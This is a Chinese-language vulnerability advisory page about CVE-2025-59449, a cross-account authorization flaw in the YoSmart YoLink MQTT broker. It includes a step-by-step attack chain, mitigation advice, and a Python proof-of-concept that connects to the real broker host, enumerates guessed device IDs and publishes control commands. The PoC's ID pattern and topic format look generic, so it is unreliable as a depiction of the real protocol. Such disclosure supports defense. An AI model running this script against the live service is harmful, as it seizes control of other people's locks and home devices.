IPBUF安全漏洞报告
English
CVE-2025-59449 CVSS 4.9 中危

CVE-2025-59449 YoSmart YoLink MQTT代理授权控制不足漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-59449
漏洞类型
授权控制不足/跨账户攻击
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
YoSmart YoLink MQTT Broker

相关标签

授权控制不足MQTTIoT安全智能家居YoSmartYoLink跨账户攻击设备ID可预测Bishop Fox中危漏洞

漏洞概述

CVE-2025-59449是存在于YoSmart YoLink MQTT代理服务中的一个安全漏洞。该漏洞源于MQTT代理未实施充分的授权控制机制,无法有效防止跨账户攻击行为。攻击者如果获取了关联的设备ID,就能够远程操作受影响的设备。由于YoLink设备ID具有可预测性,攻击者可以利用这一弱点获取对任何其他YoLink用户设备的完全控制权限。该漏洞由安全研究机构Bishop Fox披露,影响截至2025年10月2日的所有YoSmart YoLink MQTT代理版本。CVSS 3.1评分为4.9分,属于中危级别。该漏洞的CVSS向量为AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N,表明该漏洞可通过网络进行攻击,需要低权限认证,无需用户交互,且影响范围已改变(Scope Changed),对机密性影响较低,对完整性影响较低,对可用性无影响。尽管评分仅为中危,但由于涉及智能家居设备的完全控制权限,潜在风险不容忽视。YoSmart作为智能家居设备提供商,其产品广泛应用于家庭自动化场景,该漏洞可能导致攻击者远程控制用户的智能门锁、灯具、传感器等设备,严重威胁用户的人身安全和隐私。

技术细节

该漏洞的核心问题在于YoSmart YoLink MQTT代理服务器在处理客户端连接和设备控制指令时,未实施严格的授权验证机制。具体技术细节如下:

1. **MQTT协议授权缺陷**:MQTT代理作为IoT设备与云端通信的中间件,应当验证发布者(Publisher)是否有权限向特定主题(Topic)发布消息,或订阅者(Subscriber)是否有权限接收特定主题的消息。YoLink的MQTT代理未能正确实施基于设备所有权的主题访问控制列表(ACL),导致任何经过认证的客户端都可以向任意设备的主题发布控制指令。

2. **设备ID可预测性**:YoLink设备ID采用可预测的生成算法,攻击者可以通过枚举或模式分析推断出其他用户的设备ID。一旦获取到目标设备的ID,攻击者即可构造针对该设备的MQTT控制消息。

3. **跨账户攻击流程**:攻击者首先注册一个合法的YoSmart账户并获取自己的设备ID,然后通过分析设备ID的生成规律或利用其他信息泄露途径推断目标用户的设备ID。接着,攻击者使用自己的认证凭据连接到MQTT代理,并向目标设备ID对应的主题发布控制指令。由于缺乏跨账户的授权验证,代理会将这些指令转发给目标设备,实现远程控制。

4. **影响范围**:由于CVSS向量中Scope为Changed,该漏洞的影响超出了攻击者自身的权限范围,能够影响其他用户账户下的设备安全。

攻击链分析

STEP 1
步骤1:注册合法账户
攻击者在YoSmart平台注册一个合法的用户账户,获取正常的认证凭据(用户名/密码),用于连接MQTT代理服务器。
STEP 2
步骤2:分析设备ID生成规律
攻击者通过分析自己账户下的设备ID,利用YoLink设备ID的可预测性,推断其他用户设备的ID编号范围或生成模式。
STEP 3
步骤3:连接MQTT代理
使用攻击者自己的认证凭据,通过TLS加密连接到YoSmart的MQTT代理服务器,建立合法的MQTT通信通道。
STEP 4
步骤4:构造跨账户控制指令
根据预测的目标设备ID,构造针对其他用户设备的MQTT控制消息(如开关灯具、解锁门锁等),发布到目标设备对应的主题。
STEP 5
步骤5:绕过授权验证
由于MQTT代理未实施基于设备所有权的访问控制列表(ACL),代理错误地将控制指令转发给目标设备,攻击者成功实现对其他用户设备的远程控制。
STEP 6
步骤6:完全控制目标设备
攻击者获得对任意YoLink用户智能家居设备的完全控制权限,可能控制智能门锁、摄像头、传感器等设备,威胁用户安全和隐私。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59449 PoC - YoSmart YoLink MQTT Cross-Account Attack # This PoC demonstrates the insufficient authorization in YoLink MQTT broker # allowing cross-account device control via predictable device IDs import paho.mqtt.client as mqtt import json import time import itertools import string # YoSmart MQTT broker configuration MQTT_BROKER = "mqtt.yosmart.com" MQTT_PORT = 8883 MQTT_USERNAME = "[email protected]" # Attacker's own credentials MQTT_PASSWORD = "attacker_password" # Attacker's own password def on_connect(client, userdata, flags, rc): if rc == 0: print(f"[*] Connected to YoLink MQTT broker with result code {rc}") else: print(f"[!] Connection failed with code {rc}") def on_message(client, userdata, msg): print(f"[*] Received message on topic {msg.topic}: {msg.payload.decode()}") def predict_device_ids(base_pattern, count=100): """ Predict YoLink device IDs based on known patterns. Device IDs are sequential or follow a predictable pattern. """ predicted_ids = [] for i in range(count): # YoLink device IDs typically follow patterns like UUIDs # but with predictable segments device_id = f"{base_pattern}-{i:04d}" predicted_ids.append(device_id) return predicted_ids def craft_control_message(device_id, action="on"): """ Craft MQTT control message for a target YoLink device. """ # YoLink MQTT topic format for device control topic = f"yl-home/{device_id}/control" # Control payload - e.g., turn device on/off payload = json.dumps({ "action": action, "timestamp": int(time.time()), "source": "attacker" }) return topic, payload def exploit(): # Step 1: Connect to MQTT broker with attacker's own credentials client = mqtt.Client(client_id="attacker_client") client.username_pw_set(MQTT_USERNAME, MQTT_PASSWORD) client.tls_set() # Use TLS encryption client.on_connect = on_connect client.on_message = on_message print("[*] Connecting to YoLink MQTT broker...") client.connect(MQTT_BROKER, MQTT_PORT, 60) client.loop_start() time.sleep(2) # Step 2: Predict target device IDs print("[*] Predicting target device IDs...") target_device_ids = predict_device_ids("dev_abc123", count=50) # Step 3: Attempt cross-account control for device_id in target_device_ids: topic, payload = craft_control_message(device_id, action="on") print(f"[*] Attempting to control device: {device_id}") # Publish control command to target device result = client.publish(topic, payload, qos=1) if result.rc == mqtt.MQTT_ERR_SUCCESS: print(f"[+] Control command sent to {device_id}") else: print(f"[-] Failed to send command to {device_id}") time.sleep(0.5) client.loop_stop() client.disconnect() print("[*] Exploit completed") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59449 - YoSmart YoLink MQTT Cross-Account Attack") print("Disclaimer: For authorized security testing only") print("=" * 60) exploit()

影响范围

YoSmart YoLink MQTT Broker <= 2025-10-02

防御指南

临时缓解措施
在官方补丁发布之前,建议用户采取以下临时缓解措施:1)监控YoSmart官方安全公告(https://shop.yosmart.com/pages/sa-2025-001),及时获取最新固件更新;2)在网络层面限制MQTT代理的访问,仅允许可信网络环境下的设备连接;3)关注智能家居设备的异常行为,如设备在非预期时间被控制;4)考虑使用网络防火墙规则限制IoT设备的网络通信范围;5)定期更换YoSmart账户密码,避免凭据泄露导致设备ID被关联利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表